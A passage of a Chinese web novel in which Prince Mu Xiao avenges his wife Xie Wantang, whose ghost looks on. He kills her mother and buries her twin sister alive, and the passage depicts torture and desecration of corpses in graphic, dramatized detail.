“王爷,咱们都是一家人,动刀动剑,难免伤了情分,有什么咱们好好说不好吗?” “好好说?” 看着谢夫人的样子,慕枭只觉得讽刺。 天晴说,谢晚棠被活埋前,之所以会回永昌侯府,是因为谢夫人以身子有恙为借口,骗了她。疯疯癫癫的沈嬷嬷说,谢晚棠被谢婉宁活埋的时候,谢夫人就在边上瞧着,一言不发,冷眼旁观。 同样是女儿,甚至是双生女,是同一日出生,连长相也极其相似的两个人…… 可这碗水…… 谢夫人一个端到了天上,一个砸进了地狱。 有这样的娘,是谢晚棠的不幸。 他们这一家子,因为什么狗屁大师的一句“生来带灾”,认定了谢晚棠是灾星。 可在他看来,谢晚棠生来带灾,根本不是自身带灾,而是生来受灾。 生在了这样一个人家,遇上了这样的爹娘和嫡姐—— 这才是谢晚棠的灾。 慕枭恨得牙痒痒,他看着谢夫人,眼神更冷。 “你想怎么跟本王好好说?” 慕枭语气是冷。 可是,在谢夫人看来,这种时候还能开口,那就是机会,就该争取。 抿了抿唇,谢夫人壮着胆子上前。 “王爷,臣妇知道你是个重情的人,可是,这三年跟在王爷身边的是谢晚棠,并非是宁儿。宁儿生时满天霞光,天降祥瑞,而谢晚棠是大师断言的灾星,是不祥之人。 原本陪在王爷身边的,就该是宁儿。 现在,宁儿只是更正了错误,让一切回归到正轨罢了。 宁儿和谢晚棠是双生姐妹,长相相似,身量相当,她自小有夫子教导,琴棋书画、诗词曲赋样样精通,才气过人,更重要的是,她的命格比谢晚棠好,也更能给王爷带来福气。 王爷不损失什么,就能得到一个更好的枕边人,这不好吗? 王爷何至于喊打喊杀?” 越说,谢夫人就越觉得自己有理,底气十足。 可在慕枭看来,却尽是歪理。 慕枭根本懒得搭理她。 转头看向谢詹杭,慕枭冷声开口,“永昌侯呢?也是如此想的?” 谢詹杭抿了抿唇,稍稍思忖,之后才浅声回应。 “王爷重情,对晚棠有情,是晚棠的福分。只是她到底命薄,虽借着婉宁的身份偷得三年光阴,却终究命短,早早便香消玉殒了。 王爷说,是婉宁活埋了她,那是无稽之谈。 臣可作保,绝无此事。 婉宁之所以会去齐王府,我们永昌侯府,之所以也瞒下了晚棠的死,也是想将王爷的痛苦降到最低,是一片苦心,还望王爷明鉴。” “就是就是。” 谢夫人点头,连连附和。 看着他们这副嘴脸,慕枭止不住的作呕。 “绝无此事?是她命短?你们一片苦心?这么说,本王还得对你们感恩戴德了?” 这种话,他们怎么说得出口? 手中的剑骤然偏移,抵在了谢詹杭的咽喉处,慕枭冷喝。 “你当本王是傻子吗?” “臣不敢。” “本王看你敢的很,”慕枭咬牙切齿,“人证物证,本王都有,你们对本王的王妃做了什么,本王心知肚明。谢詹杭,本王没直接动你,那是给你脸,你还妄图诓骗本王,护着那个无耻之女,你想死吗?” 人证物证慕枭都有,听到这话,谢詹杭也不意外。 毕竟,所有事慕枭都说的那么清楚。 刚刚他那么说,也不过是赌一赌而已。 赌输了,他认。 对上慕枭的眸子,谢詹杭勾唇笑了笑。 “诓骗王爷,是臣的不是,但臣也是护女心切,还望王爷见谅。内子的话说的荒唐,可有一句却是对的,这事不值得王爷喊打喊杀,而且只怕……王爷也打不起,杀不起!” 说着,谢詹杭往慕枭身后瞟了一眼。 “王爷不信,且回头看看。” 闻声,慕枭回头。 同样,慕枭身侧的谢晚棠,也跟着回头看了过去…… 第40章 眼中钉 他们都看到了,齐王府的府卫之后,不知何时还站了两个人。 大皇子景王慕临,以及皇上身边的冯公公。 见到他们,谢詹杭心下大定。 微微上前一步,站到慕枭身侧,谢詹杭缓缓勾唇,“王爷,有的时候,做人留一线,对人对己都有好处。真的闹到不可收场,最后是伤人还是伤己,那可就不好说了。” “是吗?” 回眸,慕枭看向谢詹杭。 “你知道,不可收场的时候,本王一般都如何收场吗?” “臣……” “本王喜欢杀人放火,一了百了。” 不等谢詹杭回应,慕枭就先给了答案,这几个字,几乎是从他牙缝中挤出来的,字字如刀。 谢詹杭听到了,心也跟着颤了颤。 他知道,慕枭没说谎。 慕枭之所以会被朝臣称为活阎王,除了他在战场上战无不胜,另敌人闻风丧胆之外,还因为他对待朝臣,也从不手软。但凡是犯在他手里的人,别管官多高权多重,他处理起来,都雷厉风行,从不眨眼。 慕枭不会将他、将谢婉宁和永昌侯府放在眼里。 只是,今日想动他们,也没那么容易。 谢詹杭浅笑。 “王爷的脾气向来如此,臣了解,只是凡事都有例外。今日,臣怕是不能让王爷如愿了,还请王爷恕罪。” 谢詹杭说完,再不看慕枭,他又往前了两步,迎向慕临和冯公公。 慕枭没动,只定定的看着谢詹杭的背影。 谢詹杭的话谢晚棠也听到了。 虽然一直不怎么接触外面的人和事,可谢晚棠听下人说过,景王慕临是大皇子,占了一个“长”字,颇有野心。这些年来,慕枭屡立战功,在一众皇子中极为出众,很得皇上青睐,因此,慕临也视他为眼中钉。 两个人一直都不对付。 慕枭身边,一直都有慕临安插的眼线。 之前,慕枭以祭天丘圜做局,设计了谢婉宁和谢詹杭,也拔出了他身边暗藏的慕临的棋子。 谢晚棠可以肯定,慕临一定记着这个仇呢。 他现在出现,的确不妙。 慕临,就是谢詹杭为谢婉宁寻的后路,而他边上那个冯公公,则代表了皇上,更是慕枭碰不得的人。 为了谢婉宁,谢詹杭倒是用心。 谢晚棠红着眼睛侧头。 定定的看着慕枭,她一颗心七上八下的,她担心慕枭为了她意气用事,授人以柄,被慕临算计。一旦中招,凭着慕临和慕枭的关系,凭着慕临的性子,慕临一定会下重手,扒慕枭一层皮。 不值得的! 只要能保孩子平安,能保全他自己,其他的事,她都可以当做没发生过。 死都死了,她什么都不在乎了。 似有所感,慕枭侧头,看了眼谢晚棠的位置,他凝眉,明明什么都看不到,可他的心却像是被拴在了那,移不开眼。 这片刻的工夫,谢詹杭已经到了慕临和冯公公跟前。 “臣见过王爷,恭迎王爷大驾。” “侯爷快请起。” 慕临笑着虚扶了谢詹杭一把。 “侯爷提供的矿脉图,颇得父皇看重,父皇已经安排人南下查看了,若是情况属实,那侯爷便对社稷有功,是天启的大功臣。父皇特意命本王与冯公公一同来传口谕,侯爷接旨吧。” “臣在。” 谢詹杭跪下,连带着院中的一众人,也都扑啦啦的跪了下来。 唯有慕枭,站在原地没动。 慕临看向他。 “六弟,父皇口谕,冯公公亲自传旨,六弟既在,也听一听吧。还是说……这旨,六弟不想听?” 慕临语气柔和,但耐人寻味的话,却每个字都透着危险。 慕枭没答,他跪下接旨。 慕临心里痛快。 哪怕是仗着皇上的势,可慕枭到底算是在他面前下了跪,低了头,他心里舒坦。 脸上的笑意扩大了些,慕临转而看向冯公公。 “公公请吧。” 冯公公点头,随即上前一步。 尖细的声音瞬间传遍了院子,“永昌侯谢詹杭一心为国,于社稷有功,矿脉一旦查证为实,晋封永昌侯为定国公,赏白银万两,赐伏龙金牌一枚,见金牌如见朕,可免死罪,钦此。” 伏龙金牌,免死金牌。 慕枭不知道谢詹杭从哪得来的矿脉图,又是什么矿脉,但是免死金牌到手了,谢詹杭的确无惧。 再加上来传旨的还是慕临,这分明就是堵死了他的路。 再想动手,难如登天。 这些慕枭都清楚,他眯着眼睛,盯着谢詹杭。 是他小瞧谢詹杭了。 慕枭正想着,谢詹杭已然接了旨,慕临恭贺他,两个人你来我往,倒也说的热闹。 不过很快,慕临就到了慕枭身边。 “六弟,好巧,刚刚看六弟在和永昌侯在聊天,似有不快,不知是在聊什么?” 一边说着,慕临一边瞟了眼慕枭手中的剑。 “好端端的,怎么还拿上剑了?都说刀剑无眼,若是伤了人可不好。尤其是,今日永昌侯奉上了矿脉图,令父皇龙心大悦,连病情都好转了几分,他是天启的功臣。六弟若是今日在永昌侯府伤了他,怕是也要伤了父皇的心,寒了朝臣的心。” 慕临的话,让谢詹杭更放心了。 定国公的爵位还只是许诺,伏龙金牌也还没见影,但慕临刚刚的话,就是护身符。 皇上说他有功,那他就是有功,皇上说他可免一死,那就没人能动他。 即便桀骜如慕枭,也不行。 至少今日不行。 至少明着不行。 谢詹杭想的清楚,他缓缓看向慕枭。 刚好,慕枭也看向他,没搭理慕临的询问,慕枭只冷声开口,“永昌侯,这就是你留的后手?这就是你说的,闹到不可收场,伤人伤己,就不好说了?” 四目相对,谢詹杭笑的像是只老狐狸似的,温润柔和,却又洋洋得意,带着挑衅。 谢詹杭恭敬的回应。 “王爷多心了,臣绝无此意,臣只是善意的提醒罢了。” “善意的提醒?提醒本王动不得你?” “臣……绝无此意。” 嘴上这么说,可谢詹杭的腰板,明显在开口的那一瞬,挺直了不少。有慕临在,有冯公公在,有皇上的口谕在,他有硬气的资本。 慕枭,岂敢动他? 正想着,谢詹杭就见慕枭走向他。 不过两步,慕枭就站在了谢詹杭跟前,他摩挲着手上的玉扳指,眼神玩味。 “永昌侯这是笃定本王不敢出手了,对吗?” “臣……嗯……” 谢詹杭还想说什么。 只是,他才一开口,还没等说完呢,他到嘴边的话,就破碎成了一声无助的闷哼。 慕枭掐住了他的脖颈,直接将他提了起来。 强烈的窒息感,让谢詹杭变了脸色。 慕临上前。 “六弟,你这是做什么?快放永昌侯下来。父皇都说了,永昌侯是天启的大功臣,于社稷有功,不日将获封定国公,还御赐了伏龙金牌,可免死罪。父皇尚且不会要了永昌侯的命,不会伤了他,你怎敢动手?难道,你想抗旨吗?你想忤逆圣意吗?” 抗旨,忤逆圣意,这帽子慕临扣的大,速度也快。 谢晚棠心急的飘过来。 “王爷,不要。” 眼下这情况,对慕枭不利,这是谢晚棠最不想看到的,她怕慕枭出事。 只是,慕枭听不到,他也不会听。 慕枭勾唇。 一双眸子,锐利如鹰隼,他视慕临如无物,他只盯着谢詹杭,笑的危险,他道…… 第41章 活阎王 “那你就好好看着,本王到底敢不敢,看看你这后手,守不守得住你们的命。” 慕枭说完,骤然松手。 谢詹杭落在地上,他双腿发软,根本站不住。 谢詹杭瘫倒在地上,空气涌入,他摸着被掐的发疼的脖颈,大口大口的喘息,声音粗重。 死—— 那种感觉太真切了。 那一瞬间,他真的觉得,自己似乎一脚踏进了阎王殿。 难怪人叫慕枭活阎王,这称呼,倒是衬他。 慕枭,就是个杀人不眨眼的恶魔。 谢詹杭正想着,就见慕枭走了过来,他仰头看去,只觉得慕枭黑曜石一般的眸子里,恨意如滔天海浪,疯狂翻涌。 “王……” 谢詹杭下意识的想要开口。 只是,他才一张嘴,慕枭就一脚踢在了他的腹部上。 慕枭发了狠,用了全力,这一脚,他直接将谢詹杭踢飞了出去,谢詹杭那些到嘴边的话,尽数支离破碎,转化成了痛苦的呜咽。 “侯爷……” 谢夫人看着被踢到自己和谢婉宁跟前的谢詹杭,大吼了一声。 她起身冲到谢詹杭跟前。 “侯爷,你怎么样?” 谢詹杭唇瓣微动,想要回应,这时,一股血流顺着他的嘴角蜿蜒而下,他剧烈的咳嗽,五脏六腑都像是被踢碎了似的,火烧火燎的疼,连带着四肢百骸,也都跟着疼。 谢夫人吓坏了。 她扭头看向慕枭,只见慕枭一步步走过来。 杀气太浓了,谢夫人质问责难的话,根本不敢直说,她扭头求助于慕临。 “景王爷,冯公公,我家侯爷一心为国,他不求高官厚禄,只希望无愧于君,无愧于民,可是,他才立下大功,皇上晋封的旨意刚下,他就被人重伤至此,天理何在?求皇上做主,求景王爷做主。” 谢夫人难得脑子清醒了回。 一席话,她说的大义凛然,掷地有声,仿佛谢詹杭真的受了天大的委屈似的。 慕临勾唇。 他恨不能谢詹杭立刻就死。 这种把柄,可不容易抓,要是谢詹杭直接死了,他一定不遗余力,扒慕枭一层皮。 心里想着,慕临缓缓看向慕枭。 “六弟,你这是做什么?我已经说过了,永昌侯是天启功臣,得父皇看重,你这般出手伤人,是不将父皇的旨意放在眼里吗?你想造反吗?” 造反! 慕临这根本就是小题大做,无中生有。 谢晚棠听着,心惊肉跳的。 都说说者无心,听者有意,这种话,若是传到皇上耳朵里,哪怕皇上并不尽信,也可能对慕枭心生嫌恶。 这不是小事。 谢晚棠伸手,去抓慕枭,她想让慕枭停下来。 “王爷,没有必要赌上自己的前程和性命,景王爷不是好人,别让他抓了把柄攻讦你。王爷,你听到没有?王爷,王爷……” 谢晚棠一声声的喊。 那声音,隐隐在慕枭耳畔徘徊。 慕枭侧头看向谢晚棠的方向,他什么都瞧不见,可是,他就是觉得,谢晚棠就在自己身边,他就是觉得,自己的手腕温热热的,像是被人抓住了。 那种感觉,让他恍惚间觉得,自己仿佛回到了梦到谢晚棠的那一日。 那场噩梦也再次涌进他的脑海。 他记得,梦到谢晚棠消失时,他的心有多痛。 而现在更甚。 因为他的晚晚,所经历的,所遭受的,比他梦到的,还要更凶残百倍,更痛苦百倍。 而这一切,都是拜谢家人所赐! “晚晚,伤害你的人,我一个都不会放过,一个……都不会。” 慕枭低喃。 像是在自言自语,又像是隔空,在跟谢晚棠对话。 谢晚棠泪如雨下,她连连摇头。 她生来就被断言是个灾星,被爹娘不喜,除了沈嬷嬷,没有人在意她的死活,她早已经习惯了被忽视,被冷落,被恶语相待,她也不敢奢望能被谁视若珍宝。慕枭怜她念她,她都知道了,这份心意于她,已足够珍贵了,已经足够了。 “王爷,别做傻事。” 慕枭运筹帷幄,决胜千里,他睿智机敏,算无遗策。 他是个聪明人。 他知道什么该做,什么不该做的。 君子不立危墙之下,眼下情况于他不利,他不该犯傻的,谢晚棠担心自己拖累他,担心他会受伤,会丢了命。 “王爷,你要先顾全自己,要好好的,你一定要好好的。” “等我。” 慕枭柔声念叨了一声。 之后,慕枭缓缓侧头,对上慕临的眸子。 四目相对之间,他的眼里尽是讥讽,“皇兄,能抓住我把柄的机会不多,你既乐见其成,就不要多嘴。” “我何曾……” “我知你,如你知我,你我之间,再虚伪就没意思了。” 只说了这么一句,慕枭转而继续。 他加快脚步。 谢詹杭、谢夫人,以及谢婉宁三人瞧着他过来,噤若寒蝉,止不住的发抖。尤其是谢婉宁,她脊背发凉,抱着孩子的手也一阵阵的发麻,有些抱不住。 冯公公不知道发生了什么,可这场面,他担心的厉害。 冯公公稍稍上前,低头劝着。 “王爷三思。” “公公让开。” “王爷,皇上之前病着,这才好些,得了永昌侯送进宫的矿脉图,他龙心大悦,于身子也有利。多一事不如少一事,这种时候,王爷就还是不要惹陛下不快了。” 冯公公是知道皇上有多在意慕枭的,他也知道,慕枭前途无量。 他是聪明人。 能劝的,他自然会多劝一句。 慕枭知道冯公公是好意,可这份好意,他现在不需要。 “公公让开吧,本王很清楚自己在做什么,本王敢做,自然敢当,之后本王便会进宫,所有罪责,本王自会承担。” 见慕枭执拗,冯公公也不好再多言。 慕枭径直走向谢婉宁。 谢婉宁吓得抱着孩子,一连往后退了几步,她跌在地上,满眼惊恐。 “别,别过来。” 把孩子往前抱了些,谢婉宁紧张的咽了咽口水,她的眼泪也止不住的往下掉。 “孩子……孩子还在我手上,王爷若……若是想让孩子活命,就放我走,只要我离了京城,我自会放了他,保他平安。不然……” “不然怎样?” 打断谢婉宁的话,慕枭戏谑询问。 “难不成,你还想杀了本王的孩子?谢婉宁,你觉得是你敢,还是你能?” “我……” 谢婉宁被问的语塞。 就是这片刻,慕枭脚下微微动了动。 刚刚接旨时,慕枭放在地上的剑,径直被踢了出去,剑出鞘,剑尖径直刺进了谢婉宁的肩膀。 血,瞬间喷涌而出。 “啊!” 谢婉宁疼的厉害,她抱着孩子的手骤然松开。 慕枭飞身上前。 他微微倾身,一把就将孩子捞到了自己怀里。 看着怀中的孩子哭嚎不止,慕枭把他抱在怀里,一下下的轻拍着他的背,动作轻柔。 “宁儿!” 谢夫人冲上前,搀扶谢婉宁。 谢婉宁疼的脸色发白,这么冷的天,可她额上全是冷汗。 “娘,好疼,我好疼。” “别怕,别怕,宁儿不怕,娘这就叫府医,娘这就让人去请府医来给你诊治,没事的,一定没事的。” 将谢婉宁紧紧的搂在怀里,一声声的安抚。 而后,谢夫人看向小厮咆哮。 “还愣着干什么?都瞎了吗?没有看到小姐受伤了吗?还不去请府医?都是死人吗?” 小厮应声,准备去请府医。 只是,两个小厮才动,天明、天晴就上前,拦住了他们的路。 剑,就架在他们脖子上,他们谁也不敢再妄动。 谢夫人急红了眼。 “齐王,你想干什么?我家侯爷是皇上刚刚亲封的定国公,赐了伏龙金牌,可免死罪,难不成你真想越过皇上去,在永昌侯府大开杀戒?你就不怕皇上震怒,不怕百官弹劾吗?” “怕!” 慕枭点头应了一声。 谢夫人心头微松,只要慕枭怕就好。 谢夫人正想着,就听到慕枭又道,“本王怕不能将你们一家挫骨扬灰,怕不能让你们千百倍的去尝晚晚曾经受过的苦,本王怕不能送你们一家下地狱,怕不能让你们魂飞魄散,永世不得超生。” 第42章 值不值 “你……” 慕枭的话,让谢夫人心中惊骇,她的话就在嘴边,却怎么都说不出口。 她只是心疼又忐忑的将谢婉宁搂紧。 她有种感觉—— 这次,她怕是真的护不住谢婉宁了。 将谢夫人的模样看在眼里,慕枭心里凉,他为谢晚棠叫屈。 “你现在知道让小厮去请府医了?可是,谢婉宁用簪子,一下下划烂晚晚脸的时候,你可曾想过她会疼?你可曾想过请府医去救她?你没有!不然,谢婉宁活埋晚晚的时候,你不会那般心安理得的袖手旁观。同样是女儿,是你的骨肉,你爱谢婉宁入骨,却那般待晚晚,你怎么忍心?” “我……” 谢夫人想要开口,这时,慕枭又动了。 慕枭抱着孩子上前,他抬脚踢在刚刚刺进谢婉宁肩膀的剑上。 剑,瞬间又往进刺了三分。 “啊!” 谢婉宁疼的嘶吼。 下一瞬,她眼前一黑,就晕了过去。 “宁儿,宁儿你怎么样,你醒醒啊,你别吓唬娘啊。宁儿,宁儿……” 谢夫人抱着谢婉宁接连喊了几声,可谢婉宁却一点反应都没有,若非她还有浅浅的鼻息,谢夫人真会以为她不在了。 一想到那种可能,谢夫人就怕,她也心疼的要命。 “我有什么错?” 红着眼睛看向慕枭,谢夫人冲着他嘶吼。 “大师说了,谢晚棠生来带灾,她就是个灾星,都是因为她,婉宁才流落在外三年,吃尽了苦头,受尽了委屈。婉宁活埋了她,那都是她应受的,是她欠婉宁的,婉宁杀了她,那是在惩奸除恶,是在造福侯府。” “夫人……” 谢詹杭强撑着喊了一声。 慕枭本就在气头上,说这些,只会激怒慕枭。 “别拦我。” 知道谢詹杭的意思,可谢夫人却不想停下。 “我说的都是实话,我为什么不能说?是齐王被那灾星迷惑了,才听不得这些。忠言逆耳,我这是在提醒齐王,这么为灾星出头,只会受她牵连,获灾受罪,万劫不复。” 谢夫人的话,落在了慕枭耳中,同样也落在了谢晚棠耳中。 她不在乎谢夫人怎么说她,怎么嫌恶她。 可她听不得谢夫人说慕枭。 获灾受罪,万劫不复—— 这些话,谢晚棠一个字都不想听,她看着谢夫人,布满伤痕的脸上,恨意都变得狰狞了不少。 “够了。” 谢詹杭紧张的吼了一声。 谢夫人闻言看向他,痴痴的笑了两声,状若疯癫。 “够?怎么够?他慕枭仗着自己是皇子,就不把皇上的旨意放在眼里,他动手伤了侯爷,还伤了婉宁,他目无王法,胡作非为,难不成我们就得忍气吞声,连话都不能说了?” “你闭嘴。” 谢詹杭气得不行,他只觉得谢夫人荒唐。 她是被气昏了头了吗? 她想死吗? 正想着,谢詹杭就见谢夫人看向慕枭,谢夫人冷笑,她不但不停,反而愈发猖狂。 “王爷,天下好女人多得是,她谢晚棠就是个灾星,王爷为了她难为侯府,得不偿失。大丈夫何患无妻,我若是王爷,就不会执着于一个灾星之死,实在没有必要。 更何况,王爷执着又有何用? 王爷动手伤侯爷,伤婉宁,却终究不敢下杀手,不是吗? 王爷口口声声说要替那个灾星报仇,却又处处受皇上掣肘,投鼠忌器,王爷,承认吧,你根本没有那么爱那个灾星,你只是……嗯……” 谢夫人的话戛然而止,瞬间只剩了一声闷哼。 她低头。 只见她的心口,插着一把匕首。 匕首不大,却插的很深,血,顺着匕首流下来,染红了她的衣裳,洇湿了一大片。 浓郁的血腥气,直冲鼻尖。 “你……” 抬头看向慕枭,谢夫人不敢置信。 慕枭勾唇,收回自己甩出匕首的手,又轻柔的拍上了孩子的背。 那样子,仿佛刚刚出手的人不是他一般。 连眼神都懒得给谢夫人一个,慕枭冷哼,“你说本王不敢下杀手,那本王就下杀手给你看。侯夫人一路走好,走慢点,黄泉路上,等等你的夫君和你的爱女,顺带着也好好瞧瞧,本王敢不敢下杀手?敢不敢杀你永昌侯府一个片甲不留?” “你……” 谢夫人想要开口,只可惜,再也没机会了。 砰! 谢夫人的身子径直后仰,冲着后面重重的倒了下去,再没了一丝生气。 谢詹杭挪动着身子,爬向谢夫人。 看着谢夫人的死状,半晌,谢詹杭才伸手,为谢夫人合上眼睛,他看向慕枭,眼睛腥红。 “王爷……” “如果本王是你,就不会在这种时候开口。” 居高临下的看着谢詹杭,慕枭声音寒厉。 “你从红梅树下把晚晚挖出来,分尸、焚尸,你罪该万死。不过,那终究是身后事,比不得她谢婉宁可恨。你闭闭嘴,本王可以让你死在她后头。” 谢詹杭咬着唇,看向谢婉宁。 谢婉宁还晕着。 伤在肩膀,并不算致命,可伤口很深,血流的也很快,这样下去,只怕她也撑不了多久。 谢詹杭心里难受,他捂着发疼的腹部,挣扎着站起来。 四目相对,他不甘。 “王爷,难道你真要为了一个灾星,灭我侯府?要知道,一旦皇上震怒,王爷是要付出代价的。王爷,真的值吗?” 值吗? 听着这两个字,慕枭哂笑。 皇家无情,可总有例外,而情之一字,也不是一句“值与不值”,就能衡量的清楚的。 值与不值,那不重要。 重要的是,他要为谢晚棠报仇,这侯府里伤过谢晚棠的人,他没法放过。 看着谢詹杭,慕枭沉声道,“本王再说一次,你记好了,她不是灾星,她是本王的王妃,是本王嫡长子的生母,是本王心尖上的人。” “可大师……” “侯爷临死,还这般愚昧?” 知道谢詹杭想说什么,慕枭直接将他的话打断了。 慕枭冷声讥讽。 “侯爷一直认为晚晚是灾星,可是,晚晚被囚禁十六年,不曾踏出过那破落院子一步,她不曾影响侯府任何人,更谈不上给谁带来灾。 三年前,侯爷就该死,是晚晚顶替了谢婉宁,为侯爷谋了一条生路。 这是恩,不是灾。 三年后,她更不曾伤害任何人,就无辜受难。 你觉得你永昌侯府冤,觉得是晚晚给这侯府带来了灾祸,可是谢詹杭你记住了,真正造成侯府这一切的,是她谢婉宁,而不是晚晚。若真论灾星,那你这永昌侯府里真正的灾星,只会是她谢婉宁。” 话,慕枭撂在这了,谢詹杭听不听得进去,他懒得管。 没有意义。 心里想着,慕枭看向地上的谢婉宁。 大约是伤的太重,疼的太厉害,谢婉宁一直晕着,到现在也没有一点要醒的迹象。 慕枭眼神冰冷。 “天明,上一盆冰水,把她泼醒。” “是。” “天晴,准备簪子,毁了她的脸,扒了她的衣裳,捆住她的手脚,让人原地挖坑,把她推进去。” “是。” 天明、天晴应声,即刻去准备。 慕枭站在原地,抱着孩子,缓缓看向夜空。 沈嬷嬷有句话说得对,以其人之道,还治其人之身,所谓报仇,就应该以牙还牙,以眼还眼。 谢婉宁活埋了谢晚棠,那他就以同样的手段,处理谢婉宁。 其他的,交给天明、天晴去准备。 可这土—— 他要亲自来填! 第43章 不留情 “啊……” 一盆冰水泼下来,谢婉宁被浇了个透,冰水渗进伤口里,让原本就疼的伤口,瞬间更疼了许多。 她从疯狂乱涌的痛意中醒来,一下就撞进了慕枭幽沉阴鸷的眸子里。 晕倒之后发生了什么,她不知道。 可她知道——危险! 谢婉宁忍着疼,想要往后退。 这时候,天晴勾了勾手,即刻有两个府卫上前。 他们一左一右,抓住谢婉宁的双臂,只稍稍用力,就将谢婉宁的外衣撕得粉碎,冬夜寒风凛凛,冷风直往她身子里钻,凉的刺骨。 只一瞬,她就脸色大变。 府卫可不管那么多,他们拿了绳子,直接将谢婉宁捆了起来。 手脚动弹不得,谢婉宁彻底慌了。 “放开我,放开,你们……你们要干什么?放开我,爹,阿娘,救救我,救我……” 谢婉宁四下观望,寻找谢詹杭和谢夫人的影子,试图求救。 可只一侧头,她就看到了谢夫人的尸体。 双眼突出,死不瞑目。 这一幕,几乎把谢婉宁吓疯了。 “不,不,这不可能,这不可能……怎么会?怎么会?” 谢婉宁碎碎的呢喃,她被捆绑成一团的身子,犹如蛆虫,一下又一下的在地上挣扎。 她阿娘是侯夫人,是活埋谢晚棠的帮凶,尚且死的这般惨。 她呢? 慕枭怎么可能放过她? 谢婉宁心里怕,而这工夫,天晴已然到了她身边,还不待她反应,天晴就拿出簪子,划在了她脸上。 簪子锋利,天晴手劲儿又大,刹那间,谢婉宁的脸就被划出了血痕。 “啊!” 谢婉宁痛的失声尖叫。 可天晴丝毫没有停手的意思,他还在继续。 一下! 两下! 三下…… 痛感从脸颊直冲头顶,谢婉宁觉得,自己整个头都疼的发麻。她想逃,可是她根本逃不过,就是想躲着少挨一下,都做不到。 大约过了一盏茶的工夫,天晴才停手。 谢婉宁得了片刻的喘息。 她看着慕枭,急声开口,“王爷饶命,我知道错了,真的知道错了,求王爷饶我一命,求王爷恕罪。” 谢婉宁喊的急,张嘴的时候,扯动着脸上的皮肉,痛的要命。 她甚至能感受到血流进嘴里。 腥气四溢。 但根本顾不得那些,谢婉宁蜷缩着身子,她努力维持着跪地的姿势,一下下的给慕枭磕头。 “王爷饶命,王爷恕罪。” “饶命?” 呢喃着这两个字,慕枭冷笑出声。 现在,谢婉宁跪地求饶,声泪俱下,可活埋他的晚晚时,她可曾想过饶过晚晚?想过高抬贵手? 她没有! 杀人时心无善念,又凭什么要求别人慈悲? 慕枭眼神冰冷,“天晴……” “是。” 甚至不需要慕枭开口吩咐,天晴就明了他的意思了。天晴上前,一把抓住谢婉宁的衣领,他一甩手,就把谢婉宁扔进了已经挖好的土坑里。 “不!不要!不要!” 跌在土坑里,灰土扑啦啦的落在脸上,谢婉宁吓得大喊。 这一幕她太熟悉了! 这跟活埋谢晚棠的时候,简直如出一辙。 以其人之道还治其人之身,她很清楚慕枭是什么意思,自然,她也很清楚等待她的是什么。 她不想死。 可人为刀俎,我为鱼肉。 此刻的谢婉宁,就像是只待在的羔羊,只能任人鱼肉,没有挣扎拒绝的余地。她所有的嘶喊呼救,都无济于事,只会加深恐惧,让恐惧泛滥。 谢晚棠站在慕枭身侧,静静的瞧着。 她忍不住发笑。 刀子不落在自己身上,永远都不会知道疼。 谢婉宁对她动手的时候,可一点没手软,那时也不曾见她怕,现在轮到她自己了,她倒是会求饶了。 可她凭什么? 谢晚棠心中所想,正是慕枭心中所想。 慕枭转手将孩子交给边上的天明,他一步步上前,到土坑边上。 慕枭冲着府卫伸手。 府卫会意,即刻将手中的铁锨递给慕枭。慕枭铲了一锨土,手一扬,就把土扬进了土坑里。 “不,不要,我不想死,王爷饶命,王爷饶命。” 谢婉宁求饶。 慕枭回应她的,是另一锨土。 “王爷,求你高抬贵手,饶了我吧,我知道错了,我真的知道错了。我和谢晚棠长得一样的,我比她会的更多,我也更会伺候人,我可以替她伺候王爷,我什么都可以为王爷做,求王爷饶命,求王爷开恩。” “你配?” 慕枭厌恶谢婉宁将她自己和谢晚棠相提并论。 那是侮辱他的晚晚。 伺候? 他更嫌脏! 心中嫌恶的厉害,慕枭手中的锨扬的更快了,土一锨锨的砸在谢婉宁身上,没多久,就将她的身子埋了大半。 “王爷饶命,求王爷饶命。” “爹,爹你想办法救救我啊,爹,景王爷,救命,救命。” “我不想死。” “不要杀我,不要杀我。” 谢婉宁一声声的喊,只是,随着慕枭砸下来的土越来越多,她的声音也越来越小,直到她睁不开眼睛,张不开嘴,只剩了一声浅浅的呜咽,几不可闻,直到那声音也彻底消失,土坑里再无动静。 慕枭这才将手中的铁锨扔给府卫。 他拿着帕子擦了擦手。 将帕子扔了,慕枭转而到天明身边,将孩子接过来,他眼睛微红。 杀人容易,报仇容易,可是,大仇得报之后,他心里并没有多少快感,因为他清楚,即便他杀谢婉宁千次万次,也换不回他的晚晚。 慕枭想着,缓缓转头,看向被绑起来的谢詹杭。 谢詹杭也正死死的盯着他。 慕枭走向他。 停在谢詹杭跟前,伸手取下塞在谢詹杭嘴里的帕子,慕枭声音嘲弄。 “只是死了一个谢氏,死了一个谢婉宁,侯爷就这般怒了?看来,侯爷的承受能力,也不过如此。” “你……” 谢詹杭被气的发抖。 “慕枭,你凶残至此,皇上是不会放过你的。景王和冯公公已经回宫了,你所做的一切,皇上马上就会知道。我贡献矿脉图,我是天启功臣,皇上不会在这种时候寒了忠良的心,他会为我做主的。你落不到好,你是不会有好下场的,你会付出代价的。” “呵!” 慕枭垂眸冷笑。 “你觉得,本王现在还在乎下场?在乎代价?” “你……” “本王在乎的,是让你们这些伤害过晚晚的人,都求生不得,求死不能。死了一个谢氏,死了一个谢婉宁,你就承受不住了?可是……更痛的,都还在后头呢。” 说到最后,慕枭的声音轻的宛若一阵风。 可谢詹杭却忍不住觉得毛骨悚然。 “你……还想怎么样?” “你说呢?” “我……” “佛祖保佑,保佑侯府不被灾星连累,不被恶鬼纠缠。佛祖保佑,求灾星魂飞魄散,再不存于世间,再无害人之力。佛祖保佑,愿侯府不沾晦气,万事顺遂,愿侯府鼎盛百年,世代昌荣。” 慕枭一声声的念叨着,这些话,让谢詹杭几乎晕厥。 这是他将谢晚棠的尸体从红梅树下挖出来那日,是他要求死士毁尸、分尸、焚尸时,他向佛祖所求。 一字一句,慕枭都知道。 那—— 慕枭想做什么,谢詹杭心中,也就猜出了七八分。 “王爷,为了晚棠,你要做到这个地步吗?” “自然。” 贴近谢詹杭的耳畔,慕枭低声道。 “本王只担心自己做的还不够,故而,本王会变本加厉。顺带着,本王也要让侯爷好好瞧瞧,佛祖会不会保佑你这种人?保佑这肮脏的侯府?” “你……” “来人,把谢婉宁的尸体挖出来,剥去面皮,毁掉身上皮肉,分尸、焚尸也都安排上,别落下了。还有永昌侯夫人,爱女如她,想来她是愿意跟女儿同甘共苦的,这一套侯爷创出来‘祈福善举’,也别落下了她!” 第44章 情深深 随着慕枭话音落下,天明、天晴即刻盯着他们的人动手。 